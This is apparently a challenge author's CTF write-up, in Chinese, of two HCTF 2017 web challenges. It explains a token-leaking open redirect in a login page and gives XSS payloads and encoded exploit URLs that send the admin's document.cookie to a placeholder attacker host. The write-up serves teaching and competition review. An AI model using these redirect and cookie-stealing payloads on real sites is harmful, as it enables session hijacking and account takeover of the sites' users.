A World Restored
A World Restored
Description:
nothing here or all the here ps:flag in admin cookie
flag is login as admin
URL http://messbox.2017.hctf.io
Now Score 674.44
Team solved 7
這道題目在比賽結束時,只有7只隊伍最終完成了,非常出乎我的意料,因為漏洞本身非常有意思。(這個漏洞是ROIS發現的)
為了能夠實現token,我設定了token不可逆的二重驗證策略,但是在題目中我加入了一個特殊的接口,讓我們回顧一下。
auth域中的login.php,我加入了這樣一段代碼
if(!empty($_GET['n_url'])){
$n_url = trim($_GET['n_url']);
echo "<script nonce='{$random}'>window.location.href='".$n_url."?token=".$usertoken."'</script>";
exit;
}else{
// header("location: http://messbox.hctf.com?token=".$usertoken);
echo "<script nonce='{$random}'>window.location..$usertoken."'</script>";
exit;
}
這段代碼也是兩個漏洞的核心漏洞點,假設你在未登錄狀態下訪問messbox域下的user.php或者report.php這兩個頁面,那么因為未登錄,頁面會跳轉到auth域并攜帶n_url,如果獲取到登陸狀態,這里就會拼接token傳回messbox域,并賦予登陸狀態。
簡單的流程如下:未登錄->獲取當前URL->跳轉至auth->獲取登陸狀態->攜帶token跳轉到剛才獲取的URL->messbox登陸成功
當然,這其中是有漏洞的。
服務端bot必然登陸了admin賬號,如果我們直接請求login.php并制定下一步跳轉的URL,那么我們就可以獲取拼接上的token!
poc
`http://auth.2017.hctf.io/login.php?n_url=http://{you_website}`
得到token我們就可以登陸messbox域,成功登陸admin
A World Restored Again
Description:
New Challenge !!
hint: flag only from admin bot
URL http://messbox.2017.hctf.io
Now Score 702.6
Team solved 6
到了第二部,自然就是xss了,其實題目本身非常簡單,在出題之初,為了避免題目出現“垃圾時間”(因為非預期導致題目不可解),我在題目中加入了跟多元素。
并把flag2放置在.2017.hctf.io域下,避免有人找到messbox的xss但是打不到flag的問題。(沒想到真的用上了)
這里我就簡單描述下預期解法和非預期解法兩個。
預期解法
預期解法當然來自于出題思路。
https://stamone-bug-bounty.blogspot.jp/201...
漏洞本身非常簡單,但有意思的是利用思路。
當你發現了一個任意URL跳轉的漏洞,會不會考慮漏洞是怎么發生的?
也許你平時可能沒注意過,但跳轉一般是分兩種的,第一種是服務端做的,利用header: location,這種跳轉我們沒辦法阻止。第二種是js使用location.href導致的跳轉。
既然是js實現的,那么是不是有可能存在dom xss漏洞呢?
這個uber的漏洞由來就是如此。
這里唯一的考點就是,js是一種順序執行的語言,如果location報錯,那么就不會繼續執行后面的js,如果location不報錯,那么就可能在執行下一句之前跳轉走。
當然,辦法很多。最普通的可能是在location后使用stop()來阻止跳轉,但最好用的就是新建script塊,這樣上一個script報錯不會影響到下一個script塊。
最終payload
</script><script src="http://auth.hctf.com/getmessage.php?callback=window.location.href='http://xxx?cookie='+document.cookie;//"></script
exp
http://auth.2017.hctf.io/login.php?n_url=%3E%3C%2fscript%3E%3Cscript%20src%3D%22http%3A%2f%2fauth.2017.hctf.io%2fgetmessage.php%3Fcallback%3Dwindow.location.href%3D%27http%3A%2f%2fxxx%3Fcookie%3D%27%252bdocument.cookie%3B%2f%2f%22%3E%3C%2fscript%3E
非預期解法
除了上面的漏洞以外,messbox也有漏洞,username在首頁沒有經過任何過濾就顯示在了頁面內。
但username這里漏洞會有一些問題,因為本身預期的漏洞點并不是這里,所以這里的username經過我框架本身的一點兒過濾,而且長度有限制,所以從這里利用的人會遇到很多非預期的問題。
payload如下,注冊名為
<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//></script>
的用戶名,并獲取token。
傳遞
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltRmphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=
即可
2017HCTF-Writeup